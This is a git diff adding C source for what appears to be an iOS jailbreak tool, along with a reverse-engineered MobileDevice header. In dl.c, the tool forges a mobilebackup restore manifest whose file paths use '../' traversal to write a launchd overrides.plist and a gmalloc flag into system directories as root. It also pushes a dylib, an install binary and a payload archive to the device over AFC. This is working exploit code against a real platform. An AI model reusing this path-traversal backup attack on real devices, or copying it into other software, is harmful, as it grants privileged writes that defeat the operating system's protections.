AMDeviceNotificationSubscribe(am_device_notification_callback + callback, unsigned int unused0, unsigned int unused1, void* //unsigned int + dn_unknown3, struct am_device_notification **notification); + +/* Connects to the iPhone. Pass in the am_device structure that the + * notification callback will give to you. + * + * Returns: + * MDERR_OK if successfully connected + * MDERR_SYSCALL if setsockopt() failed + * MDERR_QUERY_FAILED if the daemon query failed + * MDERR_INVALID_ARGUMENT if USBMuxConnectByPort returned 0xffffffff + */ + +mach_error_t AMDeviceConnect(struct am_device *device); + +/* Calls PairingRecordPath() on the given device, than tests whether the path + * which that function returns exists. During the initial connect, the path + * returned by that function is '/', and so this returns 1. + * + * Returns: + * 0 if the path did not exist + * 1 if it did + */ + +int AMDeviceIsPaired(struct am_device *device); + +/* iTunes calls this function immediately after testing whether the device is + * paired. It creates a pairing file and establishes a Lockdown connection. + * + * Returns: + * MDERR_OK if successful + * MDERR_INVALID_ARGUMENT if the supplied device is null + * MDERR_DICT_NOT_LOADED if the load_dict() call failed + */ + +mach_error_t AMDeviceValidatePairing(struct am_device *device); + +/* Creates a Lockdown session and adjusts the device structure appropriately + * to indicate that the session has been started. iTunes calls this function + * after validating pairing. + * + * Returns: + * MDERR_OK if successful + * MDERR_INVALID_ARGUMENT if the Lockdown conn has not been established + * MDERR_DICT_NOT_LOADED if the load_dict() call failed + */ + +mach_error_t AMDeviceStartSession(struct am_device *device); + +/* Starts a service and returns a handle that can be used in order to further + * access the service. You should stop the session and disconnect before using + * the service. iTunes calls this function after starting a session. It starts + * the service and the SSL connection. unknown may safely be + * NULL (it is when iTunes calls this), but if it is not, then it will be + * filled upon function exit. service_name should be one of the AMSVC_* + * constants. If the service is AFC (AMSVC_AFC), then the handle is the handle + * that will be used for further AFC* calls. + * + * Returns: + * MDERR_OK if successful + * MDERR_SYSCALL if the setsockopt() call failed + * MDERR_INVALID_ARGUMENT if the Lockdown conn has not been established + */ + +mach_error_t AMDeviceStartService(struct am_device *device, CFStringRef + service_name, service_conn_t *handle, unsigned int * + unknown); + +mach_error_t AMDeviceStartHouseArrestService(struct am_device *device, CFStringRef identifier, void *unknown, service_conn_t *handle, unsigned int *what); + +/* Stops a session. You should do this before accessing services. + * + * Returns: + * MDERR_OK if successful + * MDERR_INVALID_ARGUMENT if the Lockdown conn has not been established + */ + +mach_error_t AMDeviceStopSession(struct am_device *device); + +/* Opens an Apple File Connection. You must start the appropriate service + * first with AMDeviceStartService(). In iTunes, io_timeout is 0. + * + * Returns: + * MDERR_OK if successful + * MDERR_AFC_OUT_OF_MEMORY if malloc() failed + */ + +afc_error_t AFCConnectionOpen(service_conn_t handle, unsigned int io_timeout, + struct afc_connection **conn); + +/* Pass in a pointer to an afc_device_info structure. It will be filled. */ +afc_error_t AFCDeviceInfoOpen(afc_connection *conn, struct + afc_dictionary **info); + +/* Turns debug mode on if the environment variable AFCDEBUG is set to a numeric + * value, or if the file '/AFCDEBUG' is present and contains a value. */ +void AFCPlatformInit(); + +/* Opens a directory on the iPhone. Pass in a pointer in dir to be filled in. + * Note that this normally only accesses the iTunes sandbox/partition as the + * root, which is /var/root/Media. Pathnames are specified with '/' delimiters + * as in Unix style. + * + * Returns: + * MDERR_OK if successful + */ + +afc_error_t AFCDirectoryOpen(afc_connection *conn, const char *path, + struct afc_directory **dir); + +/* Acquires the next entry in a directory previously opened with + * AFCDirectoryOpen(). When dirent is filled with a NULL value, then the end + * of the directory has been reached. '.' and '..' will be returned as the + * first two entries in each directory except the root; you may want to skip + * over them. + * + * Returns: + * MDERR_OK if successful, even if no entries remain + */ + +afc_error_t AFCDirectoryRead(afc_connection *conn/*unsigned int unused*/, struct afc_directory *dir, + char **dirent); + +afc_error_t AFCDirectoryClose(afc_connection *conn, struct afc_directory *dir); +afc_error_t AFCDirectoryCreate(afc_connection *conn, const char *dirname); +afc_error_t AFCRemovePath(afc_connection *conn, const char *dirname); +afc_error_t AFCRenamePath(afc_connection *conn, const char *from, const char *to); +afc_error_t AFCLinkPath(afc_connection *conn, long long int linktype, const char *target, const char *linkname); + +/* Returns the context field of the given AFC connection. */ +unsigned int AFCConnectionGetContext(afc_connection *conn); + +/* Returns the fs_block_size field of the given AFC connection. */ +unsigned int AFCConnectionGetFSBlockSize(afc_connection *conn); + +/* Returns the io_timeout field of the given AFC connection. In iTunes this is + * 0. */ +unsigned int AFCConnectionGetIOTimeout(afc_connection *conn); + +/* Returns the sock_block_size field of the given AFC connection. */ +unsigned int AFCConnectionGetSocketBlockSize(afc_connection *conn); + +/* Closes the given AFC connection. */ +afc_error_t AFCConnectionClose(afc_connection *conn); + +/* Registers for device notifications related to the restore process. unknown0 + * is zero when iTunes calls this. In iTunes, + * the callbacks are located at: + * 1: $3ac68e-$3ac6b1, calls $3ac542(unknown1, arg, 0) + * 2: $3ac66a-$3ac68d, calls $3ac542(unknown1, 0, arg) + * 3: $3ac762-$3ac785, calls $3ac6b2(unknown1, arg, 0) + * 4: $3ac73e-$3ac761, calls $3ac6b2(unknown1, 0, arg) + */ + +unsigned int AMRestoreRegisterForDeviceNotifications( + am_restore_device_notification_callback dfu_connect_callback, + am_restore_device_notification_callback recovery_connect_callback, + am_restore_device_notification_callback dfu_disconnect_callback, + am_restore_device_notification_callback recovery_disconnect_callback, + unsigned int unknown0, + void *user_info); + +/* Causes the restore functions to spit out (unhelpful) progress messages to + * the file specified by the given path. iTunes always calls this right before + * restoring with a path of + * "$HOME/Library/Logs/iPhone Updater Logs/iPhoneUpdater X.log", where X is an + * unused number. + */ + +unsigned int AMRestoreEnableFileLogging(char *path); + +/* Initializes a new option dictionary to default values. Pass the constant + * kCFAllocatorDefault as the allocator. The option dictionary looks as + * follows: + * { + * NORImageType => 'production', + * AutoBootDelay => 0, + * KernelCacheType => 'Release', + * UpdateBaseband => true, + * DFUFileType => 'RELEASE', + * SystemImageType => 'User', + * CreateFilesystemPartitions => true, + * FlashNOR => true, + * RestoreBootArgs => 'rd=md0 nand-enable-reformat=1 -progress' + * BootImageType => 'User' + * } + * + * Returns: + * the option dictionary if successful + * NULL if out of memory + */ + +CFMutableDictionaryRef AMRestoreCreateDefaultOptions(CFAllocatorRef allocator); + +/* ---------------------------------------------------------------------------- + * Less-documented public routines + * ------------------------------------------------------------------------- */ + +/* mode 2 = read, mode 3 = write */ +afc_error_t AFCFileRefOpen(afc_connection *conn, const char *path, + unsigned long long mode, afc_file_ref *ref); +afc_error_t AFCFileRefSeek(afc_connection *conn, afc_file_ref ref, + unsigned long long offset1, unsigned long long offset2); +afc_error_t AFCFileRefRead(afc_connection *conn, afc_file_ref ref, + void *buf, unsigned int *len); +afc_error_t AFCFileRefSetFileSize(afc_connection *conn, afc_file_ref ref, + unsigned long long offset); +afc_error_t AFCFileRefWrite(afc_connection *conn, afc_file_ref ref, + const void *buf, unsigned int len); +afc_error_t AFCFileRefClose(afc_connection *conn, afc_file_ref ref); + +afc_error_t AFCFileInfoOpen(afc_connection *conn, const char *path, struct + afc_dictionary **info); +afc_error_t AFCKeyValueRead(struct afc_dictionary *dict, char **key, char ** + val); +afc_error_t AFCKeyValueClose(struct afc_dictionary *dict); + +unsigned int AMRestorePerformRecoveryModeRestore(struct am_recovery_device * + rdev, CFDictionaryRef opts, void *callback, void *user_info); +unsigned int AMRestorePerformRestoreModeRestore(struct am_restore_device * + rdev, CFDictionaryRef opts, void *callback, void *user_info); + +struct am_restore_device *AMRestoreModeDeviceCreate(unsigned int unknown0, + unsigned int connection_id, unsigned int unknown1); + +unsigned int AMRestoreCreatePathsForBundle(CFStringRef restore_bundle_path, + CFStringRef kernel_cache_type, CFStringRef boot_image_type, unsigned int + unknown0, CFStringRef *firmware_dir_path, CFStringRef * + kernelcache_restore_path, unsigned int unknown1, CFStringRef * + ramdisk_path); + +unsigned int AMDeviceGetConnectionID(struct am_device *device); +mach_error_t AMDeviceEnterRecovery(struct am_device *device); +mach_error_t AMDeviceDisconnect(struct am_device *device); +mach_error_t AMDeviceRetain(struct am_device *device); +mach_error_t AMDeviceRelease(struct am_device *device); +CFStringRef AMDeviceCopyValue(struct am_device *device, unsigned int, CFStringRef cfstring); +CFStringRef AMDeviceCopyDeviceIdentifier(struct am_device *device); + +typedef void (*notify_callback)(CFStringRef notification, void *data); + +mach_error_t AMDPostNotification(service_conn_t socket, CFStringRef notification, CFStringRef userinfo); +mach_error_t AMDObserveNotification(void *socket, CFStringRef notification); +mach_error_t AMDListenForNotifications(void *socket, notify_callback cb, void *data); +mach_error_t AMDShutdownNotificationProxy(void *socket); + +/*edits by geohot*/ +mach_error_t AMDeviceDeactivate(struct am_device *device); +mach_error_t AMDeviceActivate(struct am_device *device, CFMutableDictionaryRef); +/*end*/ + +void *AMDeviceSerialize(struct am_device *device); +void AMDAddLogFileDescriptor(int fd); +mach_error_t AMDeviceSendMessage(service_conn_t socket, void *unused, CFPropertyListRef plist); +mach_error_t AMDeviceReceiveMessage(service_conn_t socket, CFDictionaryRef options, CFPropertyListRef * result); + +/* ---------------------------------------------------------------------------- + * Semi-private routines + * ------------------------------------------------------------------------- */ + +/* Pass in a usbmux_listener_1 structure and a usbmux_listener_2 structure + * pointer, which will be filled with the resulting usbmux_listener_2. + * + * Returns: + * MDERR_OK if completed successfully + * MDERR_USBMUX_ARG_NULL if one of the arguments was NULL + * MDERR_USBMUX_FAILED if the listener was not created successfully + */ + +usbmux_error_t USBMuxListenerCreate(struct usbmux_listener_1 *esi_fp8, struct + usbmux_listener_2 **eax_fp12); + +/* ---------------------------------------------------------------------------- + * Less-documented semi-private routines + * ------------------------------------------------------------------------- */ + +usbmux_error_t USBMuxListenerHandleData(void *); + +/* ---------------------------------------------------------------------------- + * Private routines - here be dragons + * ------------------------------------------------------------------------- */ + +/* AMRestorePerformRestoreModeRestore() calls this function with a dictionary + * in order to perform certain special restore operations + * (RESTORED_OPERATION_*). It is thought that this function might enable + * significant access to the phone. */ + +typedef unsigned int (*t_performOperation)(struct am_restore_device *rdev, + CFDictionaryRef op); // __attribute__ ((regparm(2))); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/dl/_assert.h b/dl/_assert.h new file mode 100644 index 0000000..61cb364 --- /dev/null +++ b/dl/_assert.h @@ -0,0 +1,7 @@ +#pragma once + +#define _assert(x) do { if(!(x)) { Fatal(__LINE__, "Assertion failed (%s:%d): %s", __FILE__, __LINE__, #x); } } while(0) +#define _assertZero(x) do { int _x = x; if(_x) { Fatal(__LINE__, "Assertion failed (%s:%d): 0 == (%s) (but it was %d)", __FILE__, __LINE__, #x, _x); } } while(0) + +#define _assertWithCode(x, n) do { if(!(x)) { Fatal((n), "Assertion failed (%s:%d): %s", __FILE__, __LINE__, #x); } } while(0) +#define _assertZeroWithCode(x, n) do { int _x = x; if(_x) { Fatal((n), "Assertion failed (%s:%d): 0 == (%s) (but it was %d)", __FILE__, __LINE__, #x, _x); } } while(0) diff --git a/dl/afc.c b/dl/afc.c new file mode 100644 index 0000000..2eeb637 --- /dev/null +++ b/dl/afc.c @@ -0,0 +1,53 @@ + +#include "MobileDevice.h" +#include "_assert.h" +#include "output.h" +#include "afc.h" + +void afc_iter_dir(struct afc_connection *conn, char *path, afc_iter_callback callback) { + struct afc_directory *dir; + char *dirent; + + if(AFCDirectoryOpen(conn, path, &dir)) return; + + for (;;) { + _assertZero(AFCDirectoryRead(conn, dir, &dirent)); + if (!dirent) break; + if (strcmp(dirent, ".") == 0 || strcmp(dirent, "..") == 0) continue; + + callback(conn, path, dirent); + } +} + +void afc_create_directory(struct afc_connection *conn, char *path) { + _assertZero(AFCDirectoryCreate(conn, path)); +} + +void list_callback(struct afc_connection *conn, char *path, char *dirent) { + Debug("%s", dirent); +} + +void afc_list_files(struct afc_connection *conn, char *path) { + afc_iter_dir(conn, path, (afc_iter_callback) list_callback); +} + +void remove_callback(struct afc_connection *conn, char *path, char *dirent) { + char subdir[255]; + snprintf(subdir, 255, "%s/%s", path, dirent); + afc_remove_all(conn, subdir); + + Debug("Deleted %s/%s", path, dirent); +} + +void afc_remove_all(struct afc_connection *conn, char *path) { + int ret = AFCRemovePath(conn, path); + if(ret == 0 || ret == 8) { + // Successfully removed (it was empty) or does not exist + return; + } + + afc_iter_dir(conn, path, (afc_iter_callback) remove_callback); + + Debug("Deleting %s (ret=%d)", path, ret); + _assertZero(AFCRemovePath(conn, path)); +} diff --git a/dl/afc.h b/dl/afc.h new file mode 100644 index 0000000..eff12eb --- /dev/null +++ b/dl/afc.h @@ -0,0 +1,7 @@ +#pragma once + +typedef void (*afc_iter_callback) (struct afc_connection *, char *, char *); +void afc_iter_dir(struct afc_connection *conn, char *path, afc_iter_callback callback); +void afc_remove_all(struct afc_connection *conn, char *path); +void afc_create_directory(struct afc_connection *conn, char *path); +void afc_list_files(struct afc_connection *conn, char *path); diff --git a/dl/dl.bat b/dl/dl.bat new file mode 100644 index 0000000..686d056 --- /dev/null +++ b/dl/dl.bat @@ -0,0 +1,2 @@ +PATH C:\Program Files\Common Files\Apple\Mobile Device Support\bin +dl diff --git a/dl/dl.c b/dl/dl.c new file mode 100644 index 0000000..90ccc48 --- /dev/null +++ b/dl/dl.c @@ -0,0 +1,518 @@ +/* TODO + * detect too low version of iTunes + * detect unactivated + * detect wrong version of FW & device type + */ + +#include +#include "MobileDevice.h" +#include "sha.h" +#define create_data(pl) \ + CFPropertyListCreateXMLData(NULL, pl) +#define create_with_data(data, mut) \ + CFPropertyListCreateFromXMLData(NULL, data, mut, NULL) +#define alloc(x) CFAllocatorAllocate(NULL, (x), 0) +#ifdef __APPLE__ +#include +#include +#define _sleep(x) sleep(x) +/*#define create_data(pl) \ + CFPropertyListCreateData(NULL, pl, kCFPropertyListBinaryFormat_v1_0, 0, NULL) +static CFPropertyListRef create_with_data(CFDataRef data, CFOptionFlags mut) { + CFPropertyListFormat fmt = kCFPropertyListXMLFormat_v1_0; + return CFPropertyListCreateWithData(NULL, data, mut, &fmt, NULL); +}*/ +#else +#include +#include +#include +#define _sleep(x) Sleep(1000*(x)) +#endif +#include +#include +#include + +#include "threadshit.h" +#include "_assert.h" +#include "output.h" +#include "afc.h" + +// Options +#define DEBUG 1 + +#ifdef DEBUG + +#define TIMER(name) { ull _timer = getms(); Timer("[%s:%d] %s: %llu", __func__, __LINE__, (#name), _timer - timer); timer = _timer; }; +#define TIMER_START ull timer = getms(); + +typedef unsigned long long ull; +static inline ull getms() { + struct timeval tp; + gettimeofday(&tp, NULL); + return ((ull) tp.tv_sec) * 1000000 + (ull) tp.tv_usec; +} + +#else + +#define TIMER(name) +#define TIMER_START + +#endif + +#ifndef __APPLE__ +const char *xzfn; +extern void write_stuff(); // packer.py +#endif + +struct conn; +typedef struct conn conn; + +typedef enum { + kStageFirst, + kStageSecond, + kStageAll +} send_file_stage; + +// "DLSendFile", filename, stuffdict +// "DLSendFile", data, DLCopyFileAttributes(@filename) + + +// Globals +CFDataRef empty_data; +unsigned int some_unique; + +ev_t ev_files_ready; + +static am_device *dev; +service_conn_t ha_conn; +struct afc_connection *ha_afc; + +CFStringRef fwkey; +CFDictionaryRef fwmap; +CFStringRef one_path; + +// CoreFoundation helpers +CFDataRef read_file(const char *fn) { + Info("read %s", fn); + FILE *fp = fopen(fn, "rb"); + _assertWithCode(fp, kExitMissingFile); + + // Calculate file size + fseek(fp, 0, SEEK_END); + long sz = ftell(fp); + fseek(fp, 0, SEEK_SET); + + char *data = alloc(sz); + _assert(sz == fread(data, 1, sz, fp)); + _assertZero(fclose(fp)); + return CFDataCreateWithBytesNoCopy(NULL, data, sz, NULL); +} + +#define number_with_int(x) CFNumberCreate(NULL, kCFNumberSInt32Type, (int[]){x}) +#define number_with_cfindex(x) CFNumberCreate(NULL, kCFNumberCFIndexType, (CFIndex[]){x}) + +#define make_array(args...) make_array_(sizeof((const void *[]){args}) / sizeof(const void *), (const void *[]){args}) +void *make_array_(int num_els, const void **stuff) { + CFMutableArrayRef ref = CFArrayCreateMutable(NULL, 0, &kCFTypeArrayCallBacks); + while(num_els--) { + CFArrayAppendValue(ref, *stuff++); + } + return ref; +} + +#define make_dict(args...) make_dict_(sizeof((const void *[]){args}) / sizeof(const void *) / 2, (const void *[]){args}) +void *make_dict_(int num_els, const void **stuff) { + CFMutableDictionaryRef ref = CFDictionaryCreateMutable(NULL, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); + _assert(ref); + while(num_els--) { + const void *value = *stuff++; + const void *key = *stuff++; + CFDictionarySetValue(ref, key, value); + } + return ref; +} + +CFStringRef data_to_hex(CFDataRef input) { + CFMutableStringRef result = CFStringCreateMutable(NULL, 40); + const unsigned char *bytes = CFDataGetBytePtr(input); + unsigned int len = CFDataGetLength(input); + unsigned int i; + for(i = 0; i < len; i++) { + CFStringAppendFormat(result, NULL, CFSTR("%02x"), (unsigned int) bytes[i]); + } + return result; +} + +CFDataRef sha1_of_data(CFDataRef input) { + char *md = alloc(20); + SHA_CTX ctx; + SHA1_Init(&ctx); + SHA1_Update(&ctx, CFDataGetBytePtr(input), CFDataGetLength(input)); + SHA1_Final(md, &ctx); + return CFDataCreateWithBytesNoCopy(NULL, md, 20, NULL); +} + + +#define send_msg(a, b) send_msg_(__func__, a, b) +#define receive_msg(a) receive_msg_(__func__, a) + +static void send_msg_(const char *caller, service_conn_t conn, CFPropertyListRef plist) { + CFDataRef data = create_data(plist); + uint32_t size = htonl(CFDataGetLength(data)); + + _assert(sizeof(size) == send(conn, &size, sizeof(size), 0)); + _assert(CFDataGetLength(data) == send(conn, CFDataGetBytePtr(data), CFDataGetLength(data), 0)); + + CFRelease(data); +} + +static void receive_msg_(const char *caller, service_conn_t conn) { + uint32_t size; + + ssize_t ret = recv((int) conn, &size, sizeof(size), 0); + _assert(ret == sizeof(size)); + size = ntohl(size); + + void *buf = alloc(size); + // MSG_WAITALL not supported? on windows + char *p = buf; uint32_t br = size; + while(br) { + ret = recv((int) conn, p, br, 0); + _assert(ret > 0); + br -= ret; + p += ret; + } + _assert(p - size == buf); + + CFDataRef data = CFDataCreateWithBytesNoCopy(NULL, buf, size, NULL); + CFPropertyListRef result = create_with_data(data, kCFPropertyListImmutable); + + Debug("%@", result); + CFRelease(data); + CFRelease(result); + Debug("DONE"); +} + +service_conn_t create_dl_conn(CFStringRef service) { + service_conn_t it; + _assertZero(AMDeviceStartService(dev, service, &it, NULL)); + Debug("create_dl_conn receive 1"); + receive_msg(it); + send_msg(it, make_array(CFSTR("DLMessageVersionExchange"), CFSTR("DLVersionsOk"))); + Debug("create_dl_conn receive 2"); + receive_msg(it); + return it; +} + +void *add_file(CFMutableDictionaryRef files, CFDataRef crap, CFStringRef domain, CFStringRef path, int uid, int gid, int mode) { + CFDataRef pathdata = CFStringCreateExternalRepresentation(NULL, path, kCFStringEncodingUTF8, 0); + CFStringRef manifestkey = data_to_hex(sha1_of_data(pathdata)); + CFMutableDictionaryRef dict = make_dict( + domain, CFSTR("Domain"), + path, CFSTR("Path"), + kCFBooleanFalse, CFSTR("Greylist"), + CFSTR("3.0"), CFSTR("Version"), + crap, CFSTR("Data") + ); + + char *datahash = alloc(20); + char *extra = ";(null);(null);(null);3.0"; + SHA_CTX ctx; + SHA1_Init(&ctx); + SHA1_Update(&ctx, CFDataGetBytePtr(crap), CFDataGetLength(crap)); + SHA1_Update(&ctx, CFDataGetBytePtr(pathdata), CFDataGetLength(pathdata)); + SHA1_Update(&ctx, extra, strlen(extra)); + SHA1_Final(datahash, &ctx); + + CFDictionarySetValue(files, + manifestkey, + make_dict( + CFDataCreateWithBytesNoCopy(NULL, datahash, 20, kCFAllocatorNull), CFSTR("DataHash"), + domain, CFSTR("Domain"), + number_with_cfindex(CFDataGetLength(crap)), CFSTR("FileLength"), + number_with_int(gid), CFSTR("Group ID"), + number_with_int(uid), CFSTR("User ID"), + number_with_int(mode), CFSTR("Mode"), + CFDateCreate(NULL, 2020964986UL), CFSTR("ModificationTime") + )); + + //sleep(10); + + CFStringRef templateo = CFStringCreateWithFormat(NULL, NULL, CFSTR("/tmp/stuff.%06d"), ++some_unique); + CFMutableDictionaryRef info = make_dict( + templateo, CFSTR("DLFileDest"), + path, CFSTR("Path"), + CFSTR("3.0"), CFSTR("Version"), + crap, CFSTR("Crap") + ); + + return info; +} + +static void start_restore(service_conn_t conn, CFMutableDictionaryRef files) { + Info("start_restore with files: %@", files); + + CFStringRef deviceId = AMDeviceCopyDeviceIdentifier(dev); + CFMutableDictionaryRef m1dict = make_dict( + CFSTR("6.2"), CFSTR("Version"), + deviceId, CFSTR("DeviceId"), + make_dict(), CFSTR("Applications"), + files, CFSTR("Files") + ); + CFDataRef m1data = create_data(m1dict); + + CFMutableDictionaryRef manifest = make_dict( + CFSTR("2.0"), CFSTR("AuthVersion"), + sha1_of_data(m1data), CFSTR("AuthSignature"), + number_with_int(0), CFSTR("IsEncrypted"), + m1data, CFSTR("Data") + ); + + CFMutableDictionaryRef mdict = make_dict( + CFSTR("kBackupMessageRestoreRequest"), CFSTR("BackupMessageTypeKey"), + kCFBooleanTrue, CFSTR("BackupNotifySpringBoard"), + kCFBooleanTrue, CFSTR("BackupPreserveCameraRoll"), + CFSTR("3.0"), CFSTR("BackupProtocolVersion"), + manifest, CFSTR("BackupManifestKey") + ); + + send_msg(conn, make_array( + CFSTR("DLMessageProcessMessage"), mdict + )); + + Debug("receive from start_restore"); + //receive_msg(conn); +} + +void send_file(service_conn_t conn, CFMutableDictionaryRef info, send_file_stage stage) { + CFDictionarySetValue(info, CFSTR("DLFileAttributesKey"), make_dict()); + CFDictionarySetValue(info, CFSTR("DLFileSource"), CFDictionaryGetValue(info, CFSTR("DLFileDest"))); + CFDictionarySetValue(info, CFSTR("DLFileIsEncrypted"), number_with_int(0)); + CFDictionarySetValue(info, CFSTR("DLFileOffsetKey"), number_with_int(0)); + + if (stage == kStageAll) { + CFDataRef crap = CFDictionaryGetValue(info, CFSTR("Crap")); + CFDictionaryRemoveValue(info, CFSTR("Crap")); + CFDictionarySetValue(info, CFSTR("DLFileStatusKey"), number_with_int(2)); + send_msg(conn, make_array(CFSTR("DLSendFile"), crap, info)); + receive_msg(conn); + } else if (stage == kStageFirst) { + CFDataRef crap = CFDictionaryGetValue(info, CFSTR("Crap")); + CFDictionaryRemoveValue(info, CFSTR("Crap")); + CFDictionarySetValue(info, CFSTR("DLFileStatusKey"), number_with_int(1)); + send_msg(conn, make_array(CFSTR("DLSendFile"), crap, info)); + } else if (stage == kStageSecond) { + CFDictionarySetValue(info, CFSTR("DLFileStatusKey"), number_with_int(2)); + send_msg(conn, make_array(CFSTR("DLSendFile"), empty_data, info)); + receive_msg(conn); + } else { + // This should never happen. + Fatal(1, "Invalid stage passed to %s.", __func__); + } +} + + +static void send_over(struct afc_connection *afc, const char *from, const char *to) { + Log("sending over %s", from); + FILE *fp = fopen(from, "rb"); + if(!fp) { + Fatal(kExitMissingFile, "%s is missing...", from); + } + afc_file_ref ref; + + _assertZero(AFCFileRefOpen(afc, to, 3, &ref)); + + ssize_t nb = 0; + ssize_t filesize = 0; + char buf[65536]; +#ifndef __APPLE__ + char magic[17] = "magicmagicmagicm!"; + if(strstr(from, ".exe")) { + // Scan for the xz file + while((nb = fread(buf, 1, sizeof(buf), fp)) > 0) { + for(char *p = buf; p < buf + sizeof(buf) - 17; p++) { + if(!memcmp(p, magic, 16) && p[16] != '!') { + fseek(fp, -sizeof(buf) + (p - buf) + 16, SEEK_CUR); + goto done; + } + } + if(nb != 17) fseek(fp, -17, SEEK_CUR); + } + // It failed... + Fatal(kExitMissingFile, "I couldn't find a XZ file in this spec-violating PE file..."); + } +done: +#endif + + while((nb = fread(buf, 1, sizeof(buf), fp)) > 0) { + Log(".%x", nb); + filesize += nb; + _assertZero(AFCFileRefWrite(afc, ref, buf, nb)); +#ifndef __APPLE__ + if(nb != sizeof(buf)) break; // lol windows +#endif + } + _assert(feof(fp)); + fclose(fp); + _assertZero(AFCFileRefClose(afc, ref)); +#ifdef __APPLE__ + struct afc_dictionary *info; + char *key, *val; + + _assertZero(AFCFileInfoOpen(afc, to, &info)); + while(!AFCKeyValueRead(info, &key, &val)) { + _assert(key); _assert(val); + if(!strcmp(key, "st_size")) { + _assert(filesize == strtoll(val, NULL, 10)); + AFCKeyValueClose(info); + return; + } + } + Fatal(kExitTransferError, "I didn't get a st_size for %s", to); + AFCKeyValueClose(info); +#endif + + Log("done sending %s", from); +} + + + +static void send_files_thread() { + struct afc_connection *afc; + service_conn_t afc_conn; + + Info("Sending files via AFC."); + + _assertZero(AMDeviceStartService(dev, CFSTR("com.apple.afc"), &afc_conn, NULL)); + _assertZero(AFCConnectionOpen(afc_conn, 0, &afc)); + + afc_remove_all(afc, "spirit"); + afc_create_directory(afc, "spirit"); + + + // the appropriate version of one.dylib + char one_path_buf[1024]; + CFStringGetCString(one_path, one_path_buf, 1024, kCFStringEncodingUTF8); + send_over(afc, one_path_buf, "spirit/one.dylib"); + + // everything else + send_over(afc, "igor/install", "spirit/install"); +#ifdef __APPLE__ + send_over(afc, "resources/freeze.tar.xz", "spirit/freeze.tar.xz"); +#else + // This will skip to 7zXZ, see send_over + send_over(afc, xzfn, "spirit/freeze.tar.xz"); +#endif + send_over(afc, CFStringFind(fwkey, CFSTR("iPad"), 0).location != kCFNotFound ? "resources/1024x768.jpg" : "resources/320x480.jpg", "spirit/bg.jpg"); + + ev_signal(&ev_files_ready); + + AFCConnectionClose(afc); + close(afc_conn); +} + +static void restore_thread() { + struct afc_dictionary *info; + Info("Connecting to mobilebackup..."); + service_conn_t conn = create_dl_conn(CFSTR("com.apple.mobilebackup")); + int err; + TIMER_START + // Library/Preferences/SystemConfiguration is migrated to /var/preferences/SystemConfiguration + + Info("Beginning restore process."); + + CFMutableDictionaryRef files = make_dict(); + CFMutableDictionaryRef overrides = add_file(files, read_file("resources/overrides.plist"), CFSTR("HomeDomain"), CFSTR("Library/Preferences/SystemConfiguration/../../../../../var/db/launchd.db/com.apple.launchd/overrides.plist"), 0, 0, 0600); + CFMutableDictionaryRef use_gmalloc = add_file(files, empty_data, CFSTR("HomeDomain"), CFSTR("Library/Preferences/SystemConfiguration/../../../../../var/db/.launchd_use_gmalloc"), 0, 0, 0600); + TIMER(about_to_start_restore) + start_restore(conn, files); + TIMER(start_restore) + Info("waiting for files ready"); + ev_wait(&ev_files_ready); + Info("files are ready."); + + send_file(conn, overrides, kStageAll); + send_file(conn, use_gmalloc, kStageAll); + close(conn); + + Info("Completed restore."); +} + +static void completion_thread() { + ev_wait(&ev_threadcount); // Wait for all other threads to complete. + Info("Completed successfully."); + + exit(0); +} + +static void device_notification_callback(am_device_notification_callback_info *info, void *foo) { + if(info->msg != ADNCI_MSG_CONNECTED) return; + + Info("Connected to the AppleMobileDevice."); + AMDeviceConnect(info->dev); + _assert(AMDeviceIsPaired(info->dev)); + _assertZero(AMDeviceValidatePairing(info->dev)); + _assertZero(AMDeviceStartSession(info->dev)); + dev = info->dev; + + fwkey = CFStringCreateWithFormat( + NULL, + NULL, + CFSTR("%@_%@"), + AMDeviceCopyValue(dev, 0, CFSTR("ProductType")), + AMDeviceCopyValue(dev, 0, CFSTR("ProductVersion")) + ); + Info("Version %@", fwkey); + + one_path = CFDictionaryGetValue(fwmap, fwkey); + if(!one_path) { + Fatal(kExitUnknownFirmware, "I don't know about firmware %@", fwkey); + } + + ev_init(&ev_files_ready); + +#ifdef __APPLE__ + some_unique = arc4random(); +#else + some_unique = (int) time(NULL); +#endif + + + create_a_thread(send_files_thread); + restore_thread(); + exit(0); +} + +int main(int argc, char **argv) { + TIMER_START + + //for(int i = 0; i < 1000; i++) {Info("Now listening for devices..."); } exit(1); +#ifndef __APPLE__ + xzfn = argv[1]; +#endif + + Info("Now listening for devices..."); + + empty_data = CFDataCreateWithBytesNoCopy(NULL, "", 0, kCFAllocatorNull); + void (*add_file_descriptor)(int); + +#ifdef __APPLE__ + add_file_descriptor = dlsym(RTLD_NEXT, "AMDAddLogFileDescriptor"); + if(!add_file_descriptor) { + add_file_descriptor = dlsym(RTLD_NEXT, "AMDSetLogFileDescriptor"); + } + + if(add_file_descriptor) { + add_file_descriptor(fileno(stderr)); + AMDSetLogLevel(1000); + } else { + Warn("Couldn't find AMD***LogFileDescriptor"); + } +#endif + fwmap = create_with_data(read_file("igor/map.plist"), kCFPropertyListImmutable); + + am_device_notification *notif; + int ret = AMDeviceNotificationSubscribe(device_notification_callback, 0, 0, NULL, ¬if); + CFRunLoopRun(); +} + diff --git a/dl/igor b/dl/igor new file mode 120000 index 0000000..8b567b9 --- /dev/null +++ b/dl/igor @@ -0,0 +1 @@ +../igor \ No newline at end of file diff --git a/dl/output.h b/dl/output.h new file mode 100644 index 0000000..15ffe5c --- /dev/null +++ b/dl/output.h @@ -0,0 +1,35 @@ +#pragma once +#include +#ifdef __APPLE__ +#define OUTFD stderr +#else +#define OUTFD stdout +#endif +#ifdef TESTING // NSLog's output is prettier +void NSLog(CFStringRef, ...); +#define BaseLog(format, stuff...) NSLog(CFSTR(format), ##stuff) +#else +#define BaseLog(fmt, args...) \ + do { \ + CFStringRef _string = CFStringCreateWithFormat(kCFAllocatorDefault, NULL, CFSTR(fmt), ##args); \ + CFIndex _size = CFStringGetLength(_string)+1; \ + char *_buf = malloc(_size); \ + CFStringGetCString(_string, _buf, _size, kCFStringEncodingASCII); \ + fprintf(OUTFD, "%s\n", _buf); \ + free(_buf); \ + CFRelease(_string); \ + } while(0) +#endif + +#define Log(args...) BaseLog("LOG: " args) +#define Error(args...) BaseLog("ERROR: " args) +#define Warn(args...) BaseLog("WARN: " args) +#define Debug(args...) BaseLog("DEBUG: " args) +#define Info(args...) BaseLog("INFO: " args) +#define Timer(args...) BaseLog("TIMER: " args) +#define Fatal(code, args, rest...) 